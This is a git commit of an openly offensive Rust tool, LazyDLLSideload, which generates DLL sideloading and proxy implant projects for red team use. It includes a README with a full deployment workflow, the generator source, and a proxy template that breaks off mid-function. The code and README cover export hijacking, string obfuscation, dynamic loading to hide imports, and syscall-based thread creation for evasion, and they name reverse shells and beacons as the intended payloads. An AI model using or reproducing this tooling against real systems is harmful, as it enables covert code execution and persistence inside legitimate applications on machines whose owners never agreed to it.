Upload
This commit is contained in:
Generated
+25
@@ -0,0 +1,25 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "LazyDLLSideload"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"getopts",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "getopts"
|
||||
version = "0.2.24"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cfe4fbac503b8d1f88e6676011885f34b7174f46e59956bba534ba83abded4df"
|
||||
dependencies = [
|
||||
"unicode-width",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-width"
|
||||
version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254"
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "LazyDLLSideload"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
authors = ["5mukx", "smukx@5mukx.site"]
|
||||
description = "An Lazy tool to generating DLL proxy/sideload projects"
|
||||
repository = "https://git.smukx.site/smukx/LazyDLLSideload"
|
||||
readme = "README.md"
|
||||
license = "MIT"
|
||||
|
||||
[dependencies]
|
||||
getopts = "0.2"
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Smukx ♠
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,307 @@
|
||||
# LazyDLLSideload
|
||||
|
||||
A Rust-based tool for generating DLL proxy and sideload projects for red team engagements. Parses PE export tables and produces ready-to-compile Rust projects with your payload embedded.
|
||||
|
||||
## Overview
|
||||
|
||||
LazyDLLSideload automates building DLL proxying and sideloading implants.
|
||||
|
||||
- Uses the windows_sys ecosystem.
|
||||
- Parses any Windows DLL to extract exported functions.
|
||||
- Generates complete Rust projects.
|
||||
- Obfuscates strings. Decrypts at runtime.
|
||||
- Supports two operation modes. Sideload and Proxy.
|
||||
- Uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke) for dynamic invocation and syscall execution in proxy loads.
|
||||
|
||||
## Installation
|
||||
|
||||
### Install as package
|
||||
|
||||
Install once. Run from any path.
|
||||
|
||||
```bash
|
||||
cargo install LazyDLLSideload
|
||||
```
|
||||
|
||||
### Clone the repository
|
||||
|
||||
```bash
|
||||
git clone https://git.smukx.site/smukx/LazyDLLSideload.git
|
||||
cd LazyDLLSideload
|
||||
cargo b -r ; cp target/release/LazyDLLSideload.exe .
|
||||
```
|
||||
|
||||
# Usage
|
||||
|
||||
## Mode 1: Sideload
|
||||
|
||||
Sideload mode creates a DLL to replace the original. Your payload runs when a target export is called. The original DLL never loads. This is a pure sideload attack.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. Parses the target DLL to collect all exported functions.
|
||||
2. Generates stub functions for all exports except the hijacked one.
|
||||
3. Creates a `lib.rs` with the hijacked function. Your payload runs from there.
|
||||
4. On build, you get a DLL with all the required exports.
|
||||
|
||||
### Example
|
||||
|
||||
```bash
|
||||
# Generate sideload project for libvlc.dll
|
||||
./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_new
|
||||
```
|
||||
|
||||
This generates a project where:
|
||||
|
||||
- `libvlc_new` is the hijacked export and triggers the payload.
|
||||
- All other exports are empty stubs.
|
||||
- The target app loads your DLL directly.
|
||||
|
||||
POC:
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Mode 2: Proxy Mode
|
||||
|
||||
Proxy mode creates a DLL with three jobs:
|
||||
|
||||
1. Forwards all function calls to the original (renamed) DLL.
|
||||
2. Intercepts one specific function to execute your payload.
|
||||
3. Maintains full functionality of the original DLL.
|
||||
|
||||
This is the classic proxying technique. The original DLL is renamed. Your proxy DLL takes its place, forwards calls, and intercepts specific functions.
|
||||
|
||||
### Key Components
|
||||
|
||||
#### 1. The Dispatch Function
|
||||
|
||||
The dispatch function is the core of the proxy. It:
|
||||
|
||||
- Loads the original DLL dynamically via `dyncvoke`.
|
||||
- Resolves function addresses at runtime with `GetFunctionAddress`.
|
||||
- Caches resolved addresses in a callback table to avoid repeated lookups.
|
||||
- Uses a sync lock so the payload runs only once.
|
||||
|
||||
```rust
|
||||
fn dispatch_call(
|
||||
a1-u64, a2-u64, ..., a20-u64,
|
||||
export_id: u32 // Which function was called (0 = hijacked)
|
||||
) -> u64
|
||||
```
|
||||
|
||||
#### 2. Export Forwarding
|
||||
|
||||
The `.def` file forwards non-hijacked exports to the original DLL:
|
||||
|
||||
```def
|
||||
LIBRARY TextShaping
|
||||
EXPORTS
|
||||
BuildOtlCache=Shaping.BuildOtlCache @1
|
||||
FreeOtlResources=Shaping.FreeOtlResources @2
|
||||
GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3
|
||||
...
|
||||
ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call
|
||||
```
|
||||
|
||||
This tells the Windows loader to forward calls to `Shaping.dll` (the renamed original) on its own.
|
||||
|
||||
#### 3. Dynamic Function Invocation (dyncvoke)
|
||||
|
||||
The tool uses [dyncvoke](https://git.smukx.site/smukx/Dyncvoke):
|
||||
|
||||
- Better OPSEC. No import table entries for the original DLL.
|
||||
- Syscalls. Set `NATIVE = true` to use `NtCreateThreadEx` for thread creation.
|
||||
- No suspicious imports. The proxy DLL has no explicit dependency on the target DLL.
|
||||
|
||||
```rust
|
||||
// Dynamically load the original DLL at runtime
|
||||
let module_handle = load_library_a(DLL_NAME);
|
||||
|
||||
// Resolve the function dynamically
|
||||
let proc_addr = get_function_address(module_handle, &proc_name);
|
||||
```
|
||||
|
||||
### Two Path Modes
|
||||
|
||||
#### Relative Path Mode (Default)
|
||||
|
||||
> Note: For relative path mode, place the original dll next to LazyDLLSideload.exe.
|
||||
|
||||
You give it a relative path like `-p ./TextShaping.dll`:
|
||||
|
||||
```bash
|
||||
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
|
||||
```
|
||||
|
||||
POC:
|
||||
|
||||

|
||||
|
||||
Generated `.def` forwarding:
|
||||
|
||||
```def
|
||||
BuildOtlCache=Shaping.BuildOtlCache @1
|
||||
```
|
||||
|
||||
#### Absolute Path Mode
|
||||
|
||||
You give it an absolute path like `-p C:\Windows\System32\TextShaping.dll`:
|
||||
|
||||
```
|
||||
1. No renaming needed
|
||||
2. Deploy the YourProxy.dll in the target directory.
|
||||
3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll"
|
||||
4. The proxy dll loads the original DLL directly from system32 and forwards to it.
|
||||
```
|
||||
|
||||
```bash
|
||||
./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData
|
||||
```
|
||||
|
||||
Generated `.def` forwarding:
|
||||
|
||||
```def
|
||||
BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1
|
||||
```
|
||||
|
||||
POC:
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
### Build the Tool
|
||||
|
||||
```bash
|
||||
cargo build --release
|
||||
cp target/release/LazyDLLSideload.exe .
|
||||
```
|
||||
|
||||
### Sideload Mode
|
||||
|
||||
```bash
|
||||
./LazyDLLSideload.exe -m sideload -p <path_to_dll> -e <export_to_hijack>
|
||||
```
|
||||
|
||||
### Proxy Mode
|
||||
|
||||
```bash
|
||||
# Relative path mode
|
||||
./LazyDLLSideload.exe -m proxy -p <path_to_dll> -e <export_to_hijack> -n <renamed_dll>
|
||||
|
||||
# Absolute path mode
|
||||
./LazyDLLSideload.exe -m proxy -p <absolute_path_to_dll> -e <export_to_hijack>
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `-m, --mode` | Mode: `sideload` or `proxy` |
|
||||
| `-p, --path` | Path to target DLL |
|
||||
| `-e, --export` | Export function name to hijack |
|
||||
| `-n, --name` | Original DLL name after renaming (relative proxy path mode only) |
|
||||
|
||||
---
|
||||
|
||||
## Project Structure
|
||||
|
||||
### Sideload Mode
|
||||
|
||||
```
|
||||
project_name/
|
||||
├── Cargo.toml # Minimal dependencies (windows-sys only)
|
||||
└── src/
|
||||
├── lib.rs # DllMain + hijacked function + payload
|
||||
└── forward.rs # Stub functions for all other exports
|
||||
```
|
||||
|
||||
### Proxy Mode
|
||||
|
||||
```
|
||||
project_name/
|
||||
├── Cargo.toml # Includes dyncvoke dependency
|
||||
├── build.rs # Links proxy.def
|
||||
├── proxy.def # Export table with forwarding
|
||||
├── dyncvoke/ # Dynamic invocation library
|
||||
└── src/
|
||||
├── lib.rs # Gateway + hijacked function
|
||||
└── forward.rs # Stub functions (satisfies linker)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Payload Customization
|
||||
|
||||
The default payload shows a MessageBox. To customise, edit the generated `lib.rs`:
|
||||
|
||||
```rust
|
||||
fn initialize_component() {
|
||||
// Your custom payload here
|
||||
// Example: reverse shell, beacon, etc.
|
||||
}
|
||||
```
|
||||
|
||||
### Native Syscall Mode
|
||||
|
||||
In proxy mode, syscalls run by default. Toggle them with:
|
||||
|
||||
```rust
|
||||
const NATIVE: bool = true; // Use NtCreateThreadEx via syscall
|
||||
// vs
|
||||
const NATIVE: false; // Use std::thread::spawn
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Example Workflow (Relative Path Mode)
|
||||
|
||||
### 1. Identify Target DLL
|
||||
|
||||
```
|
||||
# Find a DLL the application loads
|
||||
procmon.exe -> Filter: "Path ends with TextShaping.dll"
|
||||
```
|
||||
|
||||
### 2. Generate Proxy
|
||||
|
||||
```bash
|
||||
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dll
|
||||
```
|
||||
|
||||
### 3. Build
|
||||
|
||||
```bash
|
||||
cd TextShaping
|
||||
cargo build --release
|
||||
```
|
||||
|
||||
### 4. Deploy
|
||||
|
||||
```
|
||||
# Copy and rename original dll
|
||||
rename TextShaping.dll Shaping.dll
|
||||
|
||||
# Deploy
|
||||
copy target\release\TextShaping.dll .
|
||||
copy Shaping.dll .
|
||||
|
||||
# The target app loading TextShaping.dll now:
|
||||
# - Gets full functionality via forwarding
|
||||
# - Executes the payload when ShapingCreateFontCacheData is called
|
||||
# - Forwards to the original renamed dll Shaping.dll
|
||||
```
|
||||
|
||||
## Requirements
|
||||
|
||||
- Rust (1.70+)
|
||||
- Visual Studio Build Tools (MSVC)
|
||||
- Windows target: `rustup target add x86_64-pc-windows-msvc`
|
||||
|
||||
## LICENSE
|
||||
|
||||
Released under [MIT LICENSE](./LICENSE).
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 63 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 76 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
+410
@@ -0,0 +1,410 @@
|
||||
mod proxy;
|
||||
mod sideload;
|
||||
|
||||
use getopts::Options;
|
||||
use std::{
|
||||
env, fs,
|
||||
io::{self, Read},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
const CARGO_TOML_TEMPLATE: &str = r#"
|
||||
[package]
|
||||
name = "{PROJECT_NAME}"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
lazy_static = "1.4.0"
|
||||
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }
|
||||
obfstr = "0.4.4"
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61.2"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
"Win32_UI_WindowsAndMessaging",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_SystemServices",
|
||||
"Win32_System_LibraryLoader",
|
||||
"Win32_UI_Shell",
|
||||
]
|
||||
|
||||
[build-dependencies]
|
||||
windres = "0.2.2"
|
||||
"#;
|
||||
|
||||
fn main() {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
let program = args[0].clone();
|
||||
|
||||
let mut opts = Options::new();
|
||||
opts.reqopt("m", "mode", "Mode: 'proxy' or 'sideload'", "MODE");
|
||||
opts.reqopt("p", "path", "Path to target DLL", "PATH");
|
||||
opts.reqopt("e", "export", "Export to hijack", "EXPORT");
|
||||
opts.optopt("n", "name", "Original DLL name (renamed)", "ORIG_NAME");
|
||||
|
||||
let matches = match opts.parse(&args[1..]) {
|
||||
Ok(m) => m,
|
||||
Err(f) => {
|
||||
println!("[!] Error: {}", f);
|
||||
print_usage(&program, opts);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let mode = matches.opt_str("m").unwrap();
|
||||
let dll_path_str = matches.opt_str("p").unwrap();
|
||||
let hijack_export = matches.opt_str("e").unwrap();
|
||||
|
||||
let dll_path = Path::new(&dll_path_str);
|
||||
let dll_stem = dll_path.file_stem().unwrap().to_str().unwrap();
|
||||
|
||||
let default_orig_name = format!("{}_orig.dll", dll_stem);
|
||||
let original_dll_full_name = matches.opt_str("n").unwrap_or(default_orig_name);
|
||||
|
||||
if !dll_path.exists() {
|
||||
println!("[!] Error: DLL file not found at: {}", dll_path.display());
|
||||
return;
|
||||
}
|
||||
|
||||
let exports = parse_pe_exports(dll_path).unwrap_or(vec![]);
|
||||
let project_name = dll_stem.replace(".", "_");
|
||||
let root_dir = Path::new(&project_name);
|
||||
|
||||
if root_dir.exists() {
|
||||
println!(
|
||||
"[*] Removing existing project directory: {}",
|
||||
root_dir.display()
|
||||
);
|
||||
let _ = fs::remove_dir_all(root_dir);
|
||||
}
|
||||
|
||||
fs::create_dir_all(root_dir.join("src")).unwrap();
|
||||
|
||||
let is_proxy = mode == "proxy";
|
||||
|
||||
if is_proxy {
|
||||
fs::write(
|
||||
root_dir.join("Cargo.toml"),
|
||||
CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name),
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let match_arms = format!(" 0 => \"{}\".to_string(),", hijack_export);
|
||||
|
||||
let export_count = exports.len();
|
||||
|
||||
let mut forward_functions = String::new();
|
||||
for (name, _ordinal) in exports.iter() {
|
||||
if name != &hijack_export {
|
||||
forward_functions.push_str(&format!(
|
||||
"#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n",
|
||||
name
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
let hijack_function = format!(
|
||||
r#"#[no_mangle]
|
||||
pub unsafe extern "system" fn {}(
|
||||
a1: u64,
|
||||
a2: u64,
|
||||
a3: u64,
|
||||
a4: u64,
|
||||
a5: u64,
|
||||
a6: u64,
|
||||
a7: u64,
|
||||
a8: u64,
|
||||
a9: u64,
|
||||
a10: u64,
|
||||
a11: u64,
|
||||
a12: u64,
|
||||
a13: u64,
|
||||
a14: u64,
|
||||
a15: u64,
|
||||
a16: u64,
|
||||
a17: u64,
|
||||
a18: u64,
|
||||
a19: u64,
|
||||
a20: u64,
|
||||
) -> u64 {{
|
||||
dispatch_call(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, 0)
|
||||
}}"#,
|
||||
hijack_export
|
||||
);
|
||||
|
||||
let original_dll_path = if dll_path.is_absolute() {
|
||||
dll_path_str.replace("\\", "\\\\")
|
||||
} else {
|
||||
original_dll_full_name.clone()
|
||||
};
|
||||
|
||||
let lib_content = proxy::LIB_RS_TEMPLATE
|
||||
.replace("{ORIGINAL_DLL_PATH}", &original_dll_path)
|
||||
.replace("{NUM_EXPORTS}", &export_count.to_string())
|
||||
.replace("{MATCH_STATEMENT}", &match_arms)
|
||||
.replace("{HIJACK_FUNCTION}", &hijack_function);
|
||||
|
||||
fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap();
|
||||
|
||||
fs::write(root_dir.join("src/forward.rs"), forward_functions).unwrap();
|
||||
|
||||
let mut def_content = format!("LIBRARY {}\nEXPORTS\n", dll_stem);
|
||||
let forward_target = if dll_path.is_absolute() {
|
||||
let p = Path::new(&dll_path_str);
|
||||
p.with_extension("").to_string_lossy().to_string()
|
||||
} else {
|
||||
Path::new(&original_dll_full_name)
|
||||
.file_stem()
|
||||
.unwrap()
|
||||
.to_str()
|
||||
.unwrap()
|
||||
.to_string()
|
||||
};
|
||||
|
||||
for (name, ordinal) in &exports {
|
||||
if name == &hijack_export {
|
||||
def_content.push_str(&format!("{} @{}\n", name, ordinal));
|
||||
} else {
|
||||
def_content.push_str(&format!(
|
||||
"{}={}.{} @{}\n",
|
||||
name, forward_target, name, ordinal
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
fs::write(root_dir.join("build.rs"), proxy::BUILD_RS_TEMPLATE).unwrap();
|
||||
fs::write(root_dir.join("proxy.def"), def_content).unwrap();
|
||||
|
||||
if dll_path.is_absolute() {
|
||||
print_proxy_warning_absolute(dll_stem, &dll_path_str, &hijack_export);
|
||||
} else {
|
||||
print_proxy_warning(dll_stem, &original_dll_full_name, &hijack_export);
|
||||
}
|
||||
} else {
|
||||
fs::write(
|
||||
root_dir.join("Cargo.toml"),
|
||||
sideload::CARGO_TOML_TEMPLATE.replace("{PROJECT_NAME}", &project_name),
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let hijack_function = format!(
|
||||
r#"#[no_mangle]
|
||||
pub unsafe extern "system" fn {}(
|
||||
_a1: u64,
|
||||
_a2: u64,
|
||||
_a3: u64,
|
||||
_a4: u64,
|
||||
_a5: u64,
|
||||
_a6: u64,
|
||||
_a7: u64,
|
||||
_a8: u64,
|
||||
_a9: u64,
|
||||
_a10: u64,
|
||||
_a11: u64,
|
||||
_a12: u64,
|
||||
_a13: u64,
|
||||
_a14: u64,
|
||||
_a15: u64,
|
||||
_a16: u64,
|
||||
_a17: u64,
|
||||
_a18: u64,
|
||||
_a19: u64,
|
||||
_a20: u64
|
||||
) -> u64 {{
|
||||
payload_execution();
|
||||
1
|
||||
}}"#,
|
||||
hijack_export
|
||||
);
|
||||
|
||||
let lib_content = sideload::LIB_RS_TEMPLATE.replace("{HIJACK_FUNCTION}", &hijack_function);
|
||||
fs::write(root_dir.join("src/lib.rs"), lib_content).unwrap();
|
||||
|
||||
let mut forward_content = String::new();
|
||||
for (name, _ordinal) in &exports {
|
||||
if name != &hijack_export {
|
||||
forward_content.push_str(&format!(
|
||||
"#[no_mangle]\npub unsafe extern \"system\" fn {}() {{}}\n\n",
|
||||
name
|
||||
));
|
||||
}
|
||||
}
|
||||
fs::write(root_dir.join("src/forward.rs"), forward_content).unwrap();
|
||||
|
||||
print_sideload_warning(dll_stem, &hijack_export);
|
||||
}
|
||||
|
||||
println!("[+] Project generated: ./{}", project_name);
|
||||
}
|
||||
|
||||
fn print_proxy_warning(dll_stem: &str, orig_name: &str, export: &str) {
|
||||
println!(
|
||||
"\n\x1b[31m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION\x1b[0m");
|
||||
println!(
|
||||
"\x1b[31m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!(
|
||||
" 1. Rename original '{}.dll' -> '{}'",
|
||||
dll_stem, orig_name
|
||||
);
|
||||
println!(
|
||||
" 2. Place generated DLL + '{}' in same folder.",
|
||||
orig_name
|
||||
);
|
||||
println!(" 3. Payload triggers on: '{}'", export);
|
||||
println!(
|
||||
"\x1b[31m\x1b[1m======================================================================\x1b[0m\n"
|
||||
);
|
||||
}
|
||||
|
||||
fn print_proxy_warning_absolute(_dll_stem: &str, original_path: &str, export: &str) {
|
||||
println!(
|
||||
"\n\x1b[31m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!("\x1b[31m\x1b[1m[!] PROXY MODE CONFIGURATION (Full Path Mode)\x1b[0m");
|
||||
println!(
|
||||
"\x1b[31m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!(" 1. DLL will be loaded from: '{}'", original_path);
|
||||
println!(" 2. No file renaming needed - uses absolute path.");
|
||||
println!(" 3. Payload triggers on: '{}'", export);
|
||||
println!(
|
||||
"\x1b[31m\x1b[1m======================================================================\x1b[0m\n"
|
||||
);
|
||||
}
|
||||
|
||||
fn print_sideload_warning(dll_stem: &str, export: &str) {
|
||||
println!(
|
||||
"\n\x1b[33m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!("\x1b[33m\x1b[1m[!] SIDELOAD MODE CONFIGURATION\x1b[0m");
|
||||
println!(
|
||||
"\x1b[33m\x1b[1m======================================================================\x1b[0m"
|
||||
);
|
||||
println!(
|
||||
" 1. Place generated '{}.dll' alongside the vulnerable application.",
|
||||
dll_stem
|
||||
);
|
||||
println!(
|
||||
" 2. Application loads '{}.dll' and calls '{}'.",
|
||||
dll_stem, export
|
||||
);
|
||||
println!(" 3. Payload triggers on: '{}'", export);
|
||||
println!(
|
||||
"\x1b[33m\x1b[1m======================================================================\x1b[0m\n"
|
||||
);
|
||||
}
|
||||
|
||||
fn print_usage(program: &str, opts: Options) {
|
||||
let brief = format!("Usage: {} [options]", program);
|
||||
print!("{}", opts.usage(&brief));
|
||||
}
|
||||
|
||||
fn parse_pe_exports(path: &Path) -> io::Result<Vec<(String, u32)>> {
|
||||
let mut file = fs::File::open(path)?;
|
||||
let mut buffer = Vec::new();
|
||||
file.read_to_end(&mut buffer)?;
|
||||
let base = buffer.as_ptr();
|
||||
let len = buffer.len();
|
||||
|
||||
let get_u32 = |offset: usize| -> u32 {
|
||||
if offset + 4 > len {
|
||||
0
|
||||
} else {
|
||||
unsafe { *((base.add(offset)) as *const u32) }
|
||||
}
|
||||
};
|
||||
let get_u16 = |offset: usize| -> u16 {
|
||||
if offset + 2 > len {
|
||||
0
|
||||
} else {
|
||||
unsafe { *((base.add(offset)) as *const u16) }
|
||||
}
|
||||
};
|
||||
|
||||
if get_u16(0) != 0x5A4D {
|
||||
return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid DOS"));
|
||||
}
|
||||
let e_lfanew = get_u32(0x3C) as usize;
|
||||
if get_u32(e_lfanew) != 0x00004550 {
|
||||
return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid PE"));
|
||||
}
|
||||
|
||||
let optional_header_offset = e_lfanew + 24;
|
||||
let (rva_count_offset, data_dirs_offset) = match get_u16(optional_header_offset) {
|
||||
0x10B => (optional_header_offset + 92, optional_header_offset + 96),
|
||||
0x20B => (optional_header_offset + 108, optional_header_offset + 112),
|
||||
_ => return Err(io::Error::new(io::ErrorKind::InvalidData, "Unknown Magic")),
|
||||
};
|
||||
|
||||
if get_u32(rva_count_offset) == 0 {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
let export_rva = get_u32(data_dirs_offset);
|
||||
if export_rva == 0 {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let file_header_offset = e_lfanew + 4;
|
||||
let number_of_sections = get_u16(file_header_offset + 2);
|
||||
let size_of_optional_header = get_u16(file_header_offset + 16);
|
||||
let section_headers_offset = optional_header_offset + size_of_optional_header as usize;
|
||||
|
||||
let rva_to_offset = |rva: u32| -> usize {
|
||||
for i in 0..number_of_sections as usize {
|
||||
let entry_offset = section_headers_offset + (i * 40);
|
||||
let virtual_address = get_u32(entry_offset + 12);
|
||||
let size_of_raw_data = get_u32(entry_offset + 16);
|
||||
if rva >= virtual_address && rva < virtual_address + size_of_raw_data {
|
||||
return (rva - virtual_address + get_u32(entry_offset + 20)) as usize;
|
||||
}
|
||||
}
|
||||
0
|
||||
};
|
||||
|
||||
let export_file_offset = rva_to_offset(export_rva);
|
||||
if export_file_offset == 0 {
|
||||
return Err(io::Error::new(
|
||||
io::ErrorKind::InvalidData,
|
||||
"Invalid Export RVA",
|
||||
));
|
||||
}
|
||||
|
||||
let ordinal_base = get_u32(export_file_offset + 16);
|
||||
let number_of_names = get_u32(export_file_offset + 24);
|
||||
let address_of_names = get_u32(export_file_offset + 32);
|
||||
let address_of_name_ordinals = get_u32(export_file_offset + 36);
|
||||
|
||||
let names_offset = rva_to_offset(address_of_names);
|
||||
let ordinals_offset = rva_to_offset(address_of_name_ordinals);
|
||||
if names_offset == 0 || ordinals_offset == 0 {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let mut exports = Vec::new();
|
||||
for i in 0..number_of_names {
|
||||
let name_rva = get_u32(names_offset + (i as usize * 4));
|
||||
let name_offset = rva_to_offset(name_rva);
|
||||
let ordinal_index = get_u16(ordinals_offset + (i as usize * 2));
|
||||
if name_offset != 0 {
|
||||
let mut name_str = String::new();
|
||||
let mut cur = name_offset;
|
||||
while cur < len && unsafe { *base.add(cur) } != 0 {
|
||||
name_str.push(unsafe { *base.add(cur) } as char);
|
||||
cur += 1;
|
||||
}
|
||||
exports.push((name_str, ordinal_base + ordinal_index as u32));
|
||||
}
|
||||
}
|
||||
Ok(exports)
|
||||
}
|
||||
+204
@@ -0,0 +1,204 @@
|
||||
pub const BUILD_RS_TEMPLATE: &str = r##"
|
||||
use std::{env, path::PathBuf};
|
||||
|
||||
fn main() {
|
||||
if env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
|
||||
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
|
||||
let def_path = PathBuf::from(manifest_dir).join("proxy.def");
|
||||
println!("cargo:rustc-link-arg=/DEF:{}", def_path.display());
|
||||
println!("cargo:rerun-if-changed=proxy.def");
|
||||
}
|
||||
}
|
||||
"##;
|
||||
|
||||
pub const LIB_RS_TEMPLATE: &str = r##"
|
||||
#![allow(non_snake_case)]
|
||||
extern crate lazy_static;
|
||||
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::{ptr, thread};
|
||||
use lazy_static::lazy_static;
|
||||
use obfstr::obfstr as s;
|
||||
use windows_sys::Win32::Foundation::HANDLE;
|
||||
use windows_sys::Win32::UI::WindowsAndMessaging::{MessageBoxA, MB_OK};
|
||||
use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};
|
||||
use windows_sys::core::BOOL;
|
||||
use dyncvoke::dyncvoke_core::{nt_create_thread_ex,get_function_address, load_library_a};
|
||||
|
||||
mod forward;
|
||||
|
||||
const NATIVE: bool = true;
|
||||
|
||||
lazy_static! {
|
||||
static ref DLL_NAME: String = s!("{ORIGINAL_DLL_PATH}").to_string();
|
||||
}
|
||||
|
||||
static mut CALLBACK_TABLE: [usize; {NUM_EXPORTS}] = [0; {NUM_EXPORTS}];
|
||||
lazy_static! {
|
||||
static ref sync_lock: Arc<Mutex<i32>> = Arc::new(Mutex::new(0));
|
||||
}
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn DllMain(
|
||||
_hinst: *mut std::ffi::c_void,
|
||||
reason: u32,
|
||||
_reserved: *mut std::ffi::c_void,
|
||||
) -> BOOL {
|
||||
match reason {
|
||||
DLL_PROCESS_ATTACH => 1,
|
||||
DLL_PROCESS_DETACH => 1,
|
||||
_ => 1,
|
||||
}
|
||||
}
|
||||
|
||||
fn initialize_component() {
|
||||
unsafe {
|
||||
MessageBoxA(ptr::null_mut(), s!("Module initialized. ProxyMode Success").as_ptr() as *const u8, s!("Status").as_ptr() as *const u8, MB_OK);
|
||||
}
|
||||
}
|
||||
|
||||
fn dispatch_call(
|
||||
a1: u64,
|
||||
a2: u64,
|
||||
a3: u64,
|
||||
a4: u64,
|
||||
a5: u64,
|
||||
a6: u64,
|
||||
a7: u64,
|
||||
a8: u64,
|
||||
a9: u64,
|
||||
a10: u64,
|
||||
a11: u64,
|
||||
a12: u64,
|
||||
a13: u64,
|
||||
a14: u64,
|
||||
a15: u64,
|
||||
a16: u64,
|
||||
a17: u64,
|
||||
a18: u64,
|
||||
a19: u64,
|
||||
a20: u64,
|
||||
export_id: u32,
|
||||
) -> u64 {
|
||||
let lock = Arc::clone(&sync_lock);
|
||||
let mut guard = lock.lock().unwrap();
|
||||
|
||||
if *guard == 0 {
|
||||
*guard += 1;
|
||||
if NATIVE {
|
||||
#[allow(unused_unsafe)]
|
||||
unsafe {
|
||||
let thread_handle: *mut HANDLE = ptr::null_mut();
|
||||
let func_ptr = initialize_component as *const();
|
||||
let start_addr = func_ptr as *mut std::ffi::c_void;
|
||||
|
||||
let result = nt_create_thread_ex(
|
||||
thread_handle,
|
||||
